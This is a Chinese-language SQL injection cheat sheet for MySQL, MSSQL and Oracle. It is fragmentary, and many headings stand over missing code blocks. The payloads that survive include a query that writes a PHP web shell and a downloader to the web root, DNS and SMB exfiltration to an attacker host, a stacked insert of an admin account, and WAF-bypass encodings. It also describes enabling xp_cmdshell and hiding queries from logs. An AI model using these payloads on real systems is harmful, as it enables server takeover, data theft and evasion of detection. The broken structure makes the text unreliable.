SQL注入备忘录

0x00 前言

原地址websec

这篇文章主要是总结日常测试sql注入的方法和一些总结,主要是MySQL,MSSQL,ORACLE,sql注入的过程中对他们的利用方式以及一些小技巧。

0x01 MySQL

< MySQL >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

默认数据库

mysql

需要root权限

information_schema

数据库版本高于5.0

测试注入

返回False表示查询无效(MySQL发生错误/网站上的内容丢失)

返回True表示查询是有效的(内容和往常一样显示)

字符型注入

数字型注入

AND 1

True

AND 0

False

AND true

True

AND False

False

1-false

存在漏洞返回1

1-true

存在漏洞返回0

1*56

存在漏洞返回56

1*56

不存在漏洞返回1

注释查询

以下内容可用于注释掉注入时查询的其余部分:

测试版本

数据库凭证

数据库名称

服务器主机名

服务器MAC地址

他的全球唯一标识符是一个128位的数字,最后12位数字是从接口MAC地址形成的。

表名和列名

确定列数

Order by/Group by

基于错误(1)

基于错误(2)

基于错误(3)

检索表名

union

Blind

Error

检索列名

union

Blind

Error

PROCEDURE ANALYSE

一次检索多个表/列

example:

wing wing 我数据库里面所有列都跑出来了,这招很有用。

从列名查找表名

从表名中查找列名

找出当前的查询

sql

引号绕过

字符串连接

tips: CONCAT()函数用于将多个字符串连接成一个字符串。 语法及使用特点: CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。 CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。 GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。

条件声明

  • CASE

  • IF()

  • IFNULL()

  • NULLIF()

timing

特权

文件特权 以下查询可以帮助确定给定用户的FILE权限。

sql
hacker

读文件

如果用户具有FILE权限,则可以读取文件。

wing memeda tips:

  • 文件必须位于服务器主机上。

  • LOAD_FILE()的基本目录是@@datadir。

  • 该文件必须是MySQL用户可读的。

  • 文件大小必须小于max_allowed_packet。

  • @@max_allowed_packet的默认大小是1047552字节。

    写文件

    如果用户具有FILE权限,则可以写入文件。

    ```

    INTO OUTFILE/DUMPFILE

Examples:

写入一个 PHP shell: SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; 使用方法: http://localhost/shell.php?c=cat /etc/passwd

写入一个下载器: SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php' 使用方法: http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

DNS Requests: SELECT LOAD_FILE(CONCAT('\\foo.',(select MID(version(),1,1)),'.ceye.io\'));

SMB Requests: ' OR 1=1 INTO OUTFILE '\\attacker\SMBshare\output.txt

Examples: SELECT FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin'); SELECT FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

Examples: UNION SELECT /!50000 5,null;%00//!40000 4,null-- ,//!30000 3,null-- x/0,null--+ SELECT 1/!41320UNION/!/!/!00000SELECT/!/!USER/!(/!/!/!*/);

第一个例子返回版本; 它使用了一个2列的联合。 第二个例子演示了如何绕过WAF/IDS。

09 水平标签 0A 新的一行 0B 垂直标签 0C 新页面 0D 回车 A0 不间断的空格 20 空格

Example: '%0A%09UNION%0CSELECT%A0NULL%20%23

28 ( 29 )

Example: UNION(SELECT(column)FROM(table))

20 Space 2B + 2D - 7E ~ 21 ! 40 @

Example: SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

tips: dual是一个可用于测试的虚拟表。

Example: 1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- information_schema.tables LIMIT 1#

1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0Ainformation_schema.tables LIMIT 1%23

VERSION/*/%A0 (/comment*/)

URL Encoding --> SELECT %74able%6eame FROM information_schema.tables; Double URL Encoding --> SELECT %2574able%256eame FROM informationschema.tables; Unicode Encoding --> SELECT %u0074able%u6eame FROM informationschema.tables; Invalid Hex Encoding (ASP) --> SELECT %tab%le%na%me FROM information_schema.tables;

INFORMATION_SCHEMA.TABLES

Example: 空格 information_schema . tables 反引号 information_schema.tables 特定的代码 /!information_schema.tables/ 替代名称 information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints

tips: 他的替代名称可能取决于表中存在的主键。

AND,&& --逻辑AND = --分配一个值(作为SET语句的一部分,或作为UPDATE语句中的SET子句的一部分) : --=分配一个值 BETWEEN ... AND ... --检查一个值是否在一个范围内 BINARY --将字符串转换为二进制字符串 & --按位与 〜 --反转位 | --按位或 ^ -- 按位XOR CASE --Case操作 DIV --整数除法 / --Division operator <=> -- NULL-safe等于运算符 = --等号运算符

= --大于或等于运算符 -- 大于运算符 IS NOT NULL -- NOT NULL值测试 不是根据布尔值来测试一个值 IS NULL --NULL值测试 IS --根据布尔值来测试一个值 << --Left shift <= -- 小于或等于 < -- 小于 LIKE -- 简单的模式匹配

  • -- 减号

    %或MOD-- 模运算符

    NOT BETWEEN ... AND ... -- 检查一个值是否在一个范围内

    !=,<> -- 不等于运算符

    NO LIKE -- 简单模式匹配的否定

    NOT REGEXP -- NOT REGEXP

    NOT , ! -- 否定值

    || -- 或

    +-- 加法运算符

    REGEXP 使用正则表达式的REGEXP模式匹配

    -- 右移 RLIKE -- REGEXP的同义词 SOUNDS LIKE-- 比较声音

  • -- 乘法运算符

  • -- 改变参数的符号

    XOR -- 逻辑异或

    current_user

    null, \N

    true, false

    PASSWORD('mypass') 6f8c114b58f2ce9e

    从MySQL 4.1开始,PASSWORD()函数已被修改为产生一个更长的41字节散列值:

    PASSWORD('mypass') *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

0x02 MSSQL

默认的数据库

注释查询

以下内容可用于注释查询:

测试版本

@@VERSION

主机名

tips:

SERVERPROPERTY() 只对 MSSQL 2005 或更高版本有效

列名和表名

猜解表名

我们可以从两个不同的数据库,information_schema.tables或master..sysobjects中检索表。 union

Blind

Error

Xtype ='U'用于用户定义的表格。 您可以使用“V”查看。

猜解列名

我们可以从两个不同的数据库,information_schema.columns或masters..syscolumns中检索这些列。 union

Blind

Blind

一次查询多个表或列 以下3个查询将创建一个临时表/列,并将所有用户定义的表格插入到其中。 然后它将转储表内容并删除该表完成。

引号绕过

字符串连接

条件声明

定时

OPENROWSET攻击

命令执行

包含一个名为xp_cmdshell的扩展存储过程,可用于执行操作系统命令。

从MSSQL 2005及更高版本开始,xp_cmdshell在默认情况下处于禁用状态,但可以通过以下查询来激活:

或者,您可以创建自己的过程来获得相同的结果:

如果SQL版本高于2000,则必须运行其他查询才能执行上述命令:

Example: 检查是否加载了xp_cmdshell,如果是,则检查它是否处于活动状态,然后继续运行“dir”命令并将结果插入到TMP_DB中:

转储内容:

删除表:

SP_PASSWORD(隐藏查询)

将sp_password附加到查询的末尾会将其从T-SQL日志中隐藏,作为安全措施。

堆查询

MSSQL 支持堆查询

Fuzz

以下字符可以用作空格。

AND/OR后允许的特征

编码

编码有时可以bypass WAF/IDS.

密码破解

密码以0x0100开始,0x之后的第一个字节是常量; 接下来的八个字节是散列盐,其余的80个字节是两个散列,前40个字节是密码的区分大小写,而第二个40字节是大写字母。

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

Password Cracking A Metasploit module for JTR can be found here.

0x03 Oracle

默认数据库

注释查询

以下内容可用于注释后的其余查询:

测试版本

Database Credentials

数据库名

当前数据库

用户数据库

SELECT DISTINCT owner FROM all_tables;

服务主机名

表名和列名

猜解表名

猜解列名:

从列名查找表

从表名查找列

一次检索多个表

避免使用引号

与其他RDBMS不同,Oracle允许对表/列名进行编码。

字符串连接

条件声明

延时

提权

DNS Requests

Password Cracking

msf中的JTR模块。

最后更新于

这有帮助吗?